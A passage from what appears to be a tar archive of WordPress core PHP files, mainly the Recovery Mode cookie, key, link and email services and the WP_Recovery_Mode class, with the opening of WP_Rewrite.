seconds. */ $length = apply_filters( 'recovery_mode_cookie_length', WEEK_IN_SECONDS ); $expire = time() + $length; setcookie( RECOVERY_MODE_COOKIE, $value, $expire, COOKIEPATH, COOKIE_DOMAIN, is_ssl(), true ); if ( COOKIEPATH !== SITECOOKIEPATH ) { setcookie( RECOVERY_MODE_COOKIE, $value, $expire, SITECOOKIEPATH, COOKIE_DOMAIN, is_ssl(), true ); } } /** * Clears the recovery mode cookie. * * @since 5.2.0 */ public function clear_cookie() { setcookie( RECOVERY_MODE_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN ); setcookie( RECOVERY_MODE_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN ); } /** * Validates the recovery mode cookie. * * @since 5.2.0 * * @param string $cookie Optionally specify the cookie string. * If omitted, it will be retrieved from the super global. * @return true|WP_Error True on success, error object on failure. */ public function validate_cookie( $cookie = '' ) { if ( ! $cookie ) { if ( empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ) ) { return new WP_Error( 'no_cookie', __( 'No cookie present.' ) ); } $cookie = $_COOKIE[ RECOVERY_MODE_COOKIE ]; } $parts = $this->parse_cookie( $cookie ); if ( is_wp_error( $parts ) ) { return $parts; } list( , $created_at, $random, $signature ) = $parts; if ( ! ctype_digit( $created_at ) ) { return new WP_Error( 'invalid_created_at', __( 'Invalid cookie format.' ) ); } /** This filter is documented in wp-includes/class-wp-recovery-mode-cookie-service.php */ $length = apply_filters( 'recovery_mode_cookie_length', WEEK_IN_SECONDS ); if ( time() > $created_at + $length ) { return new WP_Error( 'expired', __( 'Cookie expired.' ) ); } $to_sign = sprintf( 'recovery_mode|%s|%s', $created_at, $random ); $hashed = $this->recovery_mode_hash( $to_sign ); if ( ! hash_equals( $signature, $hashed ) ) { return new WP_Error( 'signature_mismatch', __( 'Invalid cookie.' ) ); } return true; } /** * Gets the session identifier from the cookie. * * The cookie should be validated before calling this API. * * @since 5.2.0 * * @param string $cookie Optionally specify the cookie string. * If omitted, it will be retrieved from the super global. * @return string|WP_Error Session ID on success, or error object on failure. */ public function get_session_id_from_cookie( $cookie = '' ) { if ( ! $cookie ) { if ( empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ) ) { return new WP_Error( 'no_cookie', __( 'No cookie present.' ) ); } $cookie = $_COOKIE[ RECOVERY_MODE_COOKIE ]; } $parts = $this->parse_cookie( $cookie ); if ( is_wp_error( $parts ) ) { return $parts; } list( , , $random ) = $parts; return sha1( $random ); } /** * Parses the cookie into its four parts. * * @since 5.2.0 * * @param string $cookie Cookie content. * @return array|WP_Error Cookie parts array, or error object on failure. */ private function parse_cookie( $cookie ) { $cookie = base64_decode( $cookie ); $parts = explode( '|', $cookie ); if ( 4 !== count( $parts ) ) { return new WP_Error( 'invalid_format', __( 'Invalid cookie format.' ) ); } return $parts; } /** * Generates the recovery mode cookie value. * * The cookie is a base64 encoded string with the following format: * * recovery_mode|iat|rand|signature * * Where "recovery_mode" is a constant string, * iat is the time the cookie was generated at, * rand is a randomly generated password that is also used as a session identifier * and signature is an hmac of the preceding 3 parts. * * @since 5.2.0 * * @return string Generated cookie content. */ private function generate_cookie() { $to_sign = sprintf( 'recovery_mode|%s|%s', time(), wp_generate_password( 20, false ) ); $signed = $this->recovery_mode_hash( $to_sign ); return base64_encode( sprintf( '%s|%s', $to_sign, $signed ) ); } /** * Gets a form of `wp_hash()` specific to Recovery Mode. * * We cannot use `wp_hash()` because it is defined in `pluggable.php` which is not loaded until after plugins are loaded, * which is too late to verify the recovery mode cookie. * * This tries to use the `AUTH` salts first, but if they aren't valid specific salts will be generated and stored. * * @since 5.2.0 * * @param string $data Data to hash. * @return string|false The hashed $data, or false on failure. */ private function recovery_mode_hash( $data ) { if ( ! defined( 'AUTH_KEY' ) || AUTH_KEY === 'put your unique phrase here' ) { $auth_key = get_site_option( 'recovery_mode_auth_key' ); if ( ! $auth_key ) { if ( ! function_exists( 'wp_generate_password' ) ) { require_once ABSPATH . WPINC . '/pluggable.php'; } $auth_key = wp_generate_password( 64, true, true ); update_site_option( 'recovery_mode_auth_key', $auth_key ); } } else { $auth_key = AUTH_KEY; } if ( ! defined( 'AUTH_SALT' ) || AUTH_SALT === 'put your unique phrase here' || AUTH_SALT === $auth_key ) { $auth_salt = get_site_option( 'recovery_mode_auth_salt' ); if ( ! $auth_salt ) { if ( ! function_exists( 'wp_generate_password' ) ) { require_once ABSPATH . WPINC . '/pluggable.php'; } $auth_salt = wp_generate_password( 64, true, true ); update_site_option( 'recovery_mode_auth_salt', $auth_salt ); } } else { $auth_salt = AUTH_SALT; } $secret = $auth_key . $auth_salt; return hash_hmac( 'sha1', $data, $secret ); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-recovery-mode-email-service.php������������������������������������������������������������0000644�����������������00000024644�15120262030�0014310 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Error Protection API: WP_Recovery_Mode_Email_Link class * * @package WordPress * @since 5.2.0 */ /** * Core class used to send an email with a link to begin Recovery Mode. * * @since 5.2.0 */ final class WP_Recovery_Mode_Email_Service { const RATE_LIMIT_OPTION = 'recovery_mode_email_last_sent'; /** * Service to generate recovery mode URLs. * * @since 5.2.0 * @var WP_Recovery_Mode_Link_Service */ private $link_service; /** * WP_Recovery_Mode_Email_Service constructor. * * @since 5.2.0 * * @param WP_Recovery_Mode_Link_Service $link_service */ public function __construct( WP_Recovery_Mode_Link_Service $link_service ) { $this->link_service = $link_service; } /** * Sends the recovery mode email if the rate limit has not been sent. * * @since 5.2.0 * * @param int $rate_limit Number of seconds before another email can be sent. * @param array $error Error details from {@see error_get_last()} * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The plugin or theme's directory. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return true|WP_Error True if email sent, WP_Error otherwise. */ public function maybe_send_recovery_mode_email( $rate_limit, $error, $extension ) { $last_sent = get_option( self::RATE_LIMIT_OPTION ); if ( ! $last_sent || time() > $last_sent + $rate_limit ) { if ( ! update_option( self::RATE_LIMIT_OPTION, time() ) ) { return new WP_Error( 'storage_error', __( 'Could not update the email last sent time.' ) ); } $sent = $this->send_recovery_mode_email( $rate_limit, $error, $extension ); if ( $sent ) { return true; } return new WP_Error( 'email_failed', sprintf( /* translators: %s: mail() */ __( 'The email could not be sent. Possible reason: your host may have disabled the %s function.' ), 'mail()' ) ); } $err_message = sprintf( /* translators: 1: Last sent as a human time diff, 2: Wait time as a human time diff. */ __( 'A recovery link was already sent %1$s ago. Please wait another %2$s before requesting a new email.' ), human_time_diff( $last_sent ), human_time_diff( $last_sent + $rate_limit ) ); return new WP_Error( 'email_sent_already', $err_message ); } /** * Clears the rate limit, allowing a new recovery mode email to be sent immediately. * * @since 5.2.0 * * @return bool True on success, false on failure. */ public function clear_rate_limit() { return delete_option( self::RATE_LIMIT_OPTION ); } /** * Sends the Recovery Mode email to the site admin email address. * * @since 5.2.0 * * @param int $rate_limit Number of seconds before another email can be sent. * @param array $error Error details from {@see error_get_last()} * @param array $extension Extension that caused the error. * @return bool Whether the email was sent successfully. */ private function send_recovery_mode_email( $rate_limit, $error, $extension ) { $url = $this->link_service->generate_url(); $blogname = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); $switched_locale = false; // The switch_to_locale() function is loaded before it can actually be used. if ( function_exists( 'switch_to_locale' ) && isset( $GLOBALS['wp_locale_switcher'] ) ) { $switched_locale = switch_to_locale( get_locale() ); } if ( $extension ) { $cause = $this->get_cause( $extension ); $details = wp_strip_all_tags( wp_get_extension_error_description( $error ) ); if ( $details ) { $header = __( 'Error Details' ); $details = "\n\n" . $header . "\n" . str_pad( '', strlen( $header ), '=' ) . "\n" . $details; } } else { $cause = ''; $details = ''; } /** * Filters the support message sent with the the fatal error protection email. * * @since 5.2.0 * * @param string $message The Message to include in the email. */ $support = apply_filters( 'recovery_email_support_info', __( 'Please contact your host for assistance with investigating this issue further.' ) ); /** * Filters the debug information included in the fatal error protection email. * * @since 5.3.0 * * @param array $message An associative array of debug information. */ $debug = apply_filters( 'recovery_email_debug_info', $this->get_debug( $extension ) ); /* translators: Do not translate LINK, EXPIRES, CAUSE, DETAILS, SITEURL, PAGEURL, SUPPORT. DEBUG: those are placeholders. */ $message = __( 'Howdy! Since WordPress 5.2 there is a built-in feature that detects when a plugin or theme causes a fatal error on your site, and notifies you with this automated email. ###CAUSE### First, visit your website (###SITEURL###) and check for any visible issues. Next, visit the page where the error was caught (###PAGEURL###) and check for any visible issues. ###SUPPORT### If your site appears broken and you can\'t access your dashboard normally, WordPress now has a special "recovery mode". This lets you safely login to your dashboard and investigate further. ###LINK### To keep your site safe, this link will expire in ###EXPIRES###. Don\'t worry about that, though: a new link will be emailed to you if the error occurs again after it expires. When seeking help with this issue, you may be asked for some of the following information: ###DEBUG### ###DETAILS###' ); $message = str_replace( array( '###LINK###', '###EXPIRES###', '###CAUSE###', '###DETAILS###', '###SITEURL###', '###PAGEURL###', '###SUPPORT###', '###DEBUG###', ), array( $url, human_time_diff( time() + $rate_limit ), $cause ? "\n{$cause}\n" : "\n", $details, home_url( '/' ), home_url( $_SERVER['REQUEST_URI'] ), $support, implode( "\r\n", $debug ), ), $message ); $email = array( 'to' => $this->get_recovery_mode_email_address(), /* translators: %s: Site title. */ 'subject' => __( '[%s] Your Site is Experiencing a Technical Issue' ), 'message' => $message, 'headers' => '', 'attachments' => '', ); /** * Filters the contents of the Recovery Mode email. * * @since 5.2.0 * @since 5.6.0 The `$email` argument includes the `attachments` key. * * @param array $email { * Used to build a call to wp_mail(). * * @type string|array $to Array or comma-separated list of email addresses to send message. * @type string $subject Email subject * @type string $message Message contents * @type string|array $headers Optional. Additional headers. * @type string|array $attachments Optional. Files to attach. * } * @param string $url URL to enter recovery mode. */ $email = apply_filters( 'recovery_mode_email', $email, $url ); $sent = wp_mail( $email['to'], wp_specialchars_decode( sprintf( $email['subject'], $blogname ) ), $email['message'], $email['headers'], $email['attachments'] ); if ( $switched_locale ) { restore_previous_locale(); } return $sent; } /** * Gets the email address to send the recovery mode link to. * * @since 5.2.0 * * @return string Email address to send recovery mode link to. */ private function get_recovery_mode_email_address() { if ( defined( 'RECOVERY_MODE_EMAIL' ) && is_email( RECOVERY_MODE_EMAIL ) ) { return RECOVERY_MODE_EMAIL; } return get_option( 'admin_email' ); } /** * Gets the description indicating the possible cause for the error. * * @since 5.2.0 * * @param array $extension The extension that caused the error. * @return string Message about which extension caused the error. */ private function get_cause( $extension ) { if ( 'plugin' === $extension['type'] ) { $plugin = $this->get_plugin( $extension ); if ( false === $plugin ) { $name = $extension['slug']; } else { $name = $plugin['Name']; } /* translators: %s: Plugin name. */ $cause = sprintf( __( 'In this case, WordPress caught an error with one of your plugins, %s.' ), $name ); } else { $theme = wp_get_theme( $extension['slug'] ); $name = $theme->exists() ? $theme->display( 'Name' ) : $extension['slug']; /* translators: %s: Theme name. */ $cause = sprintf( __( 'In this case, WordPress caught an error with your theme, %s.' ), $name ); } return $cause; } /** * Return the details for a single plugin based on the extension data from an error. * * @since 5.3.0 * * @param array $extension The extension that caused the error. * @return array|false A plugin array {@see get_plugins()} or `false` if no plugin was found. */ private function get_plugin( $extension ) { if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugins = get_plugins(); // Assume plugin main file name first since it is a common convention. if ( isset( $plugins[ "{$extension['slug']}/{$extension['slug']}.php" ] ) ) { return $plugins[ "{$extension['slug']}/{$extension['slug']}.php" ]; } else { foreach ( $plugins as $file => $plugin_data ) { if ( 0 === strpos( $file, "{$extension['slug']}/" ) || $file === $extension['slug'] ) { return $plugin_data; } } } return false; } /** * Return debug information in an easy to manipulate format. * * @since 5.3.0 * * @param array $extension The extension that caused the error. * @return array An associative array of debug information. */ private function get_debug( $extension ) { $theme = wp_get_theme(); $wp_version = get_bloginfo( 'version' ); if ( $extension ) { $plugin = $this->get_plugin( $extension ); } else { $plugin = null; } $debug = array( 'wp' => sprintf( /* translators: %s: Current WordPress version number. */ __( 'WordPress version %s' ), $wp_version ), 'theme' => sprintf( /* translators: 1: Current active theme name. 2: Current active theme version. */ __( 'Current theme: %1$s (version %2$s)' ), $theme->get( 'Name' ), $theme->get( 'Version' ) ), ); if ( null !== $plugin ) { $debug['plugin'] = sprintf( /* translators: 1: The failing plugins name. 2: The failing plugins version. */ __( 'Current plugin: %1$s (version %2$s)' ), $plugin['Name'], $plugin['Version'] ); } $debug['php'] = sprintf( /* translators: %s: The currently used PHP version. */ __( 'PHP version %s' ), PHP_VERSION ); return $debug; } } ��������������������������������������������������������������������������������������������class-wp-recovery-mode-key-service.php��������������������������������������������������������������0000644�����������������00000010256�15120262030�0014003 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Error Protection API: WP_Recovery_Mode_Key_Service class * * @package WordPress * @since 5.2.0 */ /** * Core class used to generate and validate keys used to enter Recovery Mode. * * @since 5.2.0 */ final class WP_Recovery_Mode_Key_Service { /** * The option name used to store the keys. * * @since 5.2.0 * @var string */ private $option_name = 'recovery_keys'; /** * Creates a recovery mode token. * * @since 5.2.0 * * @return string A random string to identify its associated key in storage. */ public function generate_recovery_mode_token() { return wp_generate_password( 22, false ); } /** * Creates a recovery mode key. * * @since 5.2.0 * * @global PasswordHash $wp_hasher * * @param string $token A token generated by {@see generate_recovery_mode_token()}. * @return string Recovery mode key. */ public function generate_and_store_recovery_mode_key( $token ) { global $wp_hasher; $key = wp_generate_password( 22, false ); if ( empty( $wp_hasher ) ) { require_once ABSPATH . WPINC . '/class-phpass.php'; $wp_hasher = new PasswordHash( 8, true ); } $hashed = $wp_hasher->HashPassword( $key ); $records = $this->get_keys(); $records[ $token ] = array( 'hashed_key' => $hashed, 'created_at' => time(), ); $this->update_keys( $records ); /** * Fires when a recovery mode key is generated. * * @since 5.2.0 * * @param string $token The recovery data token. * @param string $key The recovery mode key. */ do_action( 'generate_recovery_mode_key', $token, $key ); return $key; } /** * Verifies if the recovery mode key is correct. * * Recovery mode keys can only be used once; the key will be consumed in the process. * * @since 5.2.0 * * @param string $token The token used when generating the given key. * @param string $key The unhashed key. * @param int $ttl Time in seconds for the key to be valid for. * @return true|WP_Error True on success, error object on failure. */ public function validate_recovery_mode_key( $token, $key, $ttl ) { $records = $this->get_keys(); if ( ! isset( $records[ $token ] ) ) { return new WP_Error( 'token_not_found', __( 'Recovery Mode not initialized.' ) ); } $record = $records[ $token ]; $this->remove_key( $token ); if ( ! is_array( $record ) || ! isset( $record['hashed_key'], $record['created_at'] ) ) { return new WP_Error( 'invalid_recovery_key_format', __( 'Invalid recovery key format.' ) ); } if ( ! wp_check_password( $key, $record['hashed_key'] ) ) { return new WP_Error( 'hash_mismatch', __( 'Invalid recovery key.' ) ); } if ( time() > $record['created_at'] + $ttl ) { return new WP_Error( 'key_expired', __( 'Recovery key expired.' ) ); } return true; } /** * Removes expired recovery mode keys. * * @since 5.2.0 * * @param int $ttl Time in seconds for the keys to be valid for. */ public function clean_expired_keys( $ttl ) { $records = $this->get_keys(); foreach ( $records as $key => $record ) { if ( ! isset( $record['created_at'] ) || time() > $record['created_at'] + $ttl ) { unset( $records[ $key ] ); } } $this->update_keys( $records ); } /** * Removes a used recovery key. * * @since 5.2.0 * * @param string $token The token used when generating a recovery mode key. */ private function remove_key( $token ) { $records = $this->get_keys(); if ( ! isset( $records[ $token ] ) ) { return; } unset( $records[ $token ] ); $this->update_keys( $records ); } /** * Gets the recovery key records. * * @since 5.2.0 * * @return array Associative array of $token => $data pairs, where $data has keys 'hashed_key' * and 'created_at'. */ private function get_keys() { return (array) get_option( $this->option_name, array() ); } /** * Updates the recovery key records. * * @since 5.2.0 * * @param array $keys Associative array of $token => $data pairs, where $data has keys 'hashed_key' * and 'created_at'. * @return bool True on success, false on failure. */ private function update_keys( array $keys ) { return update_option( $this->option_name, $keys ); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-recovery-mode.php��������������������������������������������������������������������������0000644�����������������00000026162�15120262030�0011562 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Error Protection API: WP_Recovery_Mode class * * @package WordPress * @since 5.2.0 */ /** * Core class used to implement Recovery Mode. * * @since 5.2.0 */ class WP_Recovery_Mode { const EXIT_ACTION = 'exit_recovery_mode'; /** * Service to handle cookies. * * @since 5.2.0 * @var WP_Recovery_Mode_Cookie_Service */ private $cookie_service; /** * Service to generate a recovery mode key. * * @since 5.2.0 * @var WP_Recovery_Mode_Key_Service */ private $key_service; /** * Service to generate and validate recovery mode links. * * @since 5.2.0 * @var WP_Recovery_Mode_Link_Service */ private $link_service; /** * Service to handle sending an email with a recovery mode link. * * @since 5.2.0 * @var WP_Recovery_Mode_Email_Service */ private $email_service; /** * Is recovery mode initialized. * * @since 5.2.0 * @var bool */ private $is_initialized = false; /** * Is recovery mode active in this session. * * @since 5.2.0 * @var bool */ private $is_active = false; /** * Get an ID representing the current recovery mode session. * * @since 5.2.0 * @var string */ private $session_id = ''; /** * WP_Recovery_Mode constructor. * * @since 5.2.0 */ public function __construct() { $this->cookie_service = new WP_Recovery_Mode_Cookie_Service(); $this->key_service = new WP_Recovery_Mode_Key_Service(); $this->link_service = new WP_Recovery_Mode_Link_Service( $this->cookie_service, $this->key_service ); $this->email_service = new WP_Recovery_Mode_Email_Service( $this->link_service ); } /** * Initialize recovery mode for the current request. * * @since 5.2.0 */ public function initialize() { $this->is_initialized = true; add_action( 'wp_logout', array( $this, 'exit_recovery_mode' ) ); add_action( 'login_form_' . self::EXIT_ACTION, array( $this, 'handle_exit_recovery_mode' ) ); add_action( 'recovery_mode_clean_expired_keys', array( $this, 'clean_expired_keys' ) ); if ( ! wp_next_scheduled( 'recovery_mode_clean_expired_keys' ) && ! wp_installing() ) { wp_schedule_event( time(), 'daily', 'recovery_mode_clean_expired_keys' ); } if ( defined( 'WP_RECOVERY_MODE_SESSION_ID' ) ) { $this->is_active = true; $this->session_id = WP_RECOVERY_MODE_SESSION_ID; return; } if ( $this->cookie_service->is_cookie_set() ) { $this->handle_cookie(); return; } $this->link_service->handle_begin_link( $this->get_link_ttl() ); } /** * Checks whether recovery mode is active. * * This will not change after recovery mode has been initialized. {@see WP_Recovery_Mode::run()}. * * @since 5.2.0 * * @return bool True if recovery mode is active, false otherwise. */ public function is_active() { return $this->is_active; } /** * Gets the recovery mode session ID. * * @since 5.2.0 * * @return string The session ID if recovery mode is active, empty string otherwise. */ public function get_session_id() { return $this->session_id; } /** * Checks whether recovery mode has been initialized. * * Recovery mode should not be used until this point. Initialization happens immediately before loading plugins. * * @since 5.2.0 * * @return bool */ public function is_initialized() { return $this->is_initialized; } /** * Handles a fatal error occurring. * * The calling API should immediately die() after calling this function. * * @since 5.2.0 * * @param array $error Error details from {@see error_get_last()} * @return true|WP_Error True if the error was handled and headers have already been sent. * Or the request will exit to try and catch multiple errors at once. * WP_Error if an error occurred preventing it from being handled. */ public function handle_error( array $error ) { $extension = $this->get_extension_for_error( $error ); if ( ! $extension || $this->is_network_plugin( $extension ) ) { return new WP_Error( 'invalid_source', __( 'Error not caused by a plugin or theme.' ) ); } if ( ! $this->is_active() ) { if ( ! is_protected_endpoint() ) { return new WP_Error( 'non_protected_endpoint', __( 'Error occurred on a non-protected endpoint.' ) ); } if ( ! function_exists( 'wp_generate_password' ) ) { require_once ABSPATH . WPINC . '/pluggable.php'; } return $this->email_service->maybe_send_recovery_mode_email( $this->get_email_rate_limit(), $error, $extension ); } if ( ! $this->store_error( $error ) ) { return new WP_Error( 'storage_error', __( 'Failed to store the error.' ) ); } if ( headers_sent() ) { return true; } $this->redirect_protected(); } /** * Ends the current recovery mode session. * * @since 5.2.0 * * @return bool True on success, false on failure. */ public function exit_recovery_mode() { if ( ! $this->is_active() ) { return false; } $this->email_service->clear_rate_limit(); $this->cookie_service->clear_cookie(); wp_paused_plugins()->delete_all(); wp_paused_themes()->delete_all(); return true; } /** * Handles a request to exit Recovery Mode. * * @since 5.2.0 */ public function handle_exit_recovery_mode() { $redirect_to = wp_get_referer(); // Safety check in case referrer returns false. if ( ! $redirect_to ) { $redirect_to = is_user_logged_in() ? admin_url() : home_url(); } if ( ! $this->is_active() ) { wp_safe_redirect( $redirect_to ); die; } if ( ! isset( $_GET['action'] ) || self::EXIT_ACTION !== $_GET['action'] ) { return; } if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], self::EXIT_ACTION ) ) { wp_die( __( 'Exit recovery mode link expired.' ), 403 ); } if ( ! $this->exit_recovery_mode() ) { wp_die( __( 'Failed to exit recovery mode. Please try again later.' ) ); } wp_safe_redirect( $redirect_to ); die; } /** * Cleans any recovery mode keys that have expired according to the link TTL. * * Executes on a daily cron schedule. * * @since 5.2.0 */ public function clean_expired_keys() { $this->key_service->clean_expired_keys( $this->get_link_ttl() ); } /** * Handles checking for the recovery mode cookie and validating it. * * @since 5.2.0 */ protected function handle_cookie() { $validated = $this->cookie_service->validate_cookie(); if ( is_wp_error( $validated ) ) { $this->cookie_service->clear_cookie(); $validated->add_data( array( 'status' => 403 ) ); wp_die( $validated ); } $session_id = $this->cookie_service->get_session_id_from_cookie(); if ( is_wp_error( $session_id ) ) { $this->cookie_service->clear_cookie(); $session_id->add_data( array( 'status' => 403 ) ); wp_die( $session_id ); } $this->is_active = true; $this->session_id = $session_id; } /** * Gets the rate limit between sending new recovery mode email links. * * @since 5.2.0 * * @return int Rate limit in seconds. */ protected function get_email_rate_limit() { /** * Filters the rate limit between sending new recovery mode email links. * * @since 5.2.0 * * @param int $rate_limit Time to wait in seconds. Defaults to 1 day. */ return apply_filters( 'recovery_mode_email_rate_limit', DAY_IN_SECONDS ); } /** * Gets the number of seconds the recovery mode link is valid for. * * @since 5.2.0 * * @return int Interval in seconds. */ protected function get_link_ttl() { $rate_limit = $this->get_email_rate_limit(); $valid_for = $rate_limit; /** * Filters the amount of time the recovery mode email link is valid for. * * The ttl must be at least as long as the email rate limit. * * @since 5.2.0 * * @param int $valid_for The number of seconds the link is valid for. */ $valid_for = apply_filters( 'recovery_mode_email_link_ttl', $valid_for ); return max( $valid_for, $rate_limit ); } /** * Gets the extension that the error occurred in. * * @since 5.2.0 * * @global array $wp_theme_directories * * @param array $error Error that was triggered. * @return array|false { * Extension details. * * @type string $slug The extension slug. This is the plugin or theme's directory. * @type string $type The extension type. Either 'plugin' or 'theme'. * } */ protected function get_extension_for_error( $error ) { global $wp_theme_directories; if ( ! isset( $error['file'] ) ) { return false; } if ( ! defined( 'WP_PLUGIN_DIR' ) ) { return false; } $error_file = wp_normalize_path( $error['file'] ); $wp_plugin_dir = wp_normalize_path( WP_PLUGIN_DIR ); if ( 0 === strpos( $error_file, $wp_plugin_dir ) ) { $path = str_replace( $wp_plugin_dir . '/', '', $error_file ); $parts = explode( '/', $path ); return array( 'type' => 'plugin', 'slug' => $parts[0], ); } if ( empty( $wp_theme_directories ) ) { return false; } foreach ( $wp_theme_directories as $theme_directory ) { $theme_directory = wp_normalize_path( $theme_directory ); if ( 0 === strpos( $error_file, $theme_directory ) ) { $path = str_replace( $theme_directory . '/', '', $error_file ); $parts = explode( '/', $path ); return array( 'type' => 'theme', 'slug' => $parts[0], ); } } return false; } /** * Checks whether the given extension a network activated plugin. * * @since 5.2.0 * * @param array $extension Extension data. * @return bool True if network plugin, false otherwise. */ protected function is_network_plugin( $extension ) { if ( 'plugin' !== $extension['type'] ) { return false; } if ( ! is_multisite() ) { return false; } $network_plugins = wp_get_active_network_plugins(); foreach ( $network_plugins as $plugin ) { if ( 0 === strpos( $plugin, $extension['slug'] . '/' ) ) { return true; } } return false; } /** * Stores the given error so that the extension causing it is paused. * * @since 5.2.0 * * @param array $error Error that was triggered. * @return bool True if the error was stored successfully, false otherwise. */ protected function store_error( $error ) { $extension = $this->get_extension_for_error( $error ); if ( ! $extension ) { return false; } switch ( $extension['type'] ) { case 'plugin': return wp_paused_plugins()->set( $extension['slug'], $error ); case 'theme': return wp_paused_themes()->set( $extension['slug'], $error ); default: return false; } } /** * Redirects the current request to allow recovering multiple errors in one go. * * The redirection will only happen when on a protected endpoint. * * It must be ensured that this method is only called when an error actually occurred and will not occur on the * next request again. Otherwise it will create a redirect loop. * * @since 5.2.0 */ protected function redirect_protected() { // Pluggable is usually loaded after plugins, so we manually include it here for redirection functionality. if ( ! function_exists( 'wp_safe_redirect' ) ) { require_once ABSPATH . WPINC . '/pluggable.php'; } $scheme = is_ssl() ? 'https://' : 'http://'; $url = "{$scheme}{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}"; wp_safe_redirect( $url ); exit; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-recovery-mode-link-service.php�������������������������������������������������������������0000644�����������������00000006511�15120262030�0014147 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Error Protection API: WP_Recovery_Mode_Link_Handler class * * @package WordPress * @since 5.2.0 */ /** * Core class used to generate and handle recovery mode links. * * @since 5.2.0 */ class WP_Recovery_Mode_Link_Service { const LOGIN_ACTION_ENTER = 'enter_recovery_mode'; const LOGIN_ACTION_ENTERED = 'entered_recovery_mode'; /** * Service to generate and validate recovery mode keys. * * @since 5.2.0 * @var WP_Recovery_Mode_Key_Service */ private $key_service; /** * Service to handle cookies. * * @since 5.2.0 * @var WP_Recovery_Mode_Cookie_Service */ private $cookie_service; /** * WP_Recovery_Mode_Link_Service constructor. * * @since 5.2.0 * * @param WP_Recovery_Mode_Cookie_Service $cookie_service Service to handle setting the recovery mode cookie. * @param WP_Recovery_Mode_Key_Service $key_service Service to handle generating recovery mode keys. */ public function __construct( WP_Recovery_Mode_Cookie_Service $cookie_service, WP_Recovery_Mode_Key_Service $key_service ) { $this->cookie_service = $cookie_service; $this->key_service = $key_service; } /** * Generates a URL to begin recovery mode. * * Only one recovery mode URL can may be valid at the same time. * * @since 5.2.0 * * @return string Generated URL. */ public function generate_url() { $token = $this->key_service->generate_recovery_mode_token(); $key = $this->key_service->generate_and_store_recovery_mode_key( $token ); return $this->get_recovery_mode_begin_url( $token, $key ); } /** * Enters recovery mode when the user hits wp-login.php with a valid recovery mode link. * * @since 5.2.0 * * @global string $pagenow * * @param int $ttl Number of seconds the link should be valid for. */ public function handle_begin_link( $ttl ) { if ( ! isset( $GLOBALS['pagenow'] ) || 'wp-login.php' !== $GLOBALS['pagenow'] ) { return; } if ( ! isset( $_GET['action'], $_GET['rm_token'], $_GET['rm_key'] ) || self::LOGIN_ACTION_ENTER !== $_GET['action'] ) { return; } if ( ! function_exists( 'wp_generate_password' ) ) { require_once ABSPATH . WPINC . '/pluggable.php'; } $validated = $this->key_service->validate_recovery_mode_key( $_GET['rm_token'], $_GET['rm_key'], $ttl ); if ( is_wp_error( $validated ) ) { wp_die( $validated, '' ); } $this->cookie_service->set_cookie(); $url = add_query_arg( 'action', self::LOGIN_ACTION_ENTERED, wp_login_url() ); wp_redirect( $url ); die; } /** * Gets a URL to begin recovery mode. * * @since 5.2.0 * * @param string $token Recovery Mode token created by {@see generate_recovery_mode_token()}. * @param string $key Recovery Mode key created by {@see generate_and_store_recovery_mode_key()}. * @return string Recovery mode begin URL. */ private function get_recovery_mode_begin_url( $token, $key ) { $url = add_query_arg( array( 'action' => self::LOGIN_ACTION_ENTER, 'rm_token' => $token, 'rm_key' => $key, ), wp_login_url() ); /** * Filters the URL to begin recovery mode. * * @since 5.2.0 * * @param string $url The generated recovery mode begin URL. * @param string $token The token used to identify the key. * @param string $key The recovery mode key. */ return apply_filters( 'recovery_mode_begin_url', $url, $token, $key ); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-rewrite.php��������������������������������������������������������������������������������0000644�����������������00000172577�15120262030�0010477 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Rewrite API: WP_Rewrite class * * @package WordPress * @subpackage Rewrite * @since 1.5.0 */ /** * Core class used to implement a rewrite component API. * * The WordPress Rewrite class writes the rewrite module rules to the .htaccess * file. It also handles parsing the request to get the correct setup for the * WordPress Query class. * * The Rewrite along with WP class function as a front controller for WordPress. * You can add rules to trigger your page view and processing using this * component. The full functionality of a front controller does not exist, * meaning you can't define how the template files load based on the rewrite * rules. * * @since 1.5.0 */ class WP_Rewrite { /** * Permalink structure for posts. * * @since 1.5.0 * @var string */ public $permalink_structure; /** * Whether to add trailing slashes. * * @since 2.2.0 * @var bool */ public $use_trailing_slashes; /** * Base for the author permalink structure (example.com/$author_base/authorname). * * @since 1.5.0 * @var string */ public $author_base = 'author'; /** * Permalink structure for author archives. * * @since 1.5.0 * @var string */ public $author_structure; /** * Permalink structure for date archives. * * @since 1.5.0 * @var string */ public $date_structure; /** * Permalink structure for pages. * * @since 1.5.0 * @var string */ public $page_structure; /** * Base of the search permalink structure (example.com/$search_base/query). * * @since 1.5.0 * @var string */ public $search_base = 'search'; /** * Permalink structure for searches. * * @since 1.5.0 * @var string */ public $search_structure; /** * Comments permalink base. * * @since 1.5.0 * @var string */ public $comments_base = 'comments'; /** * Pagination permalink base. * * @since 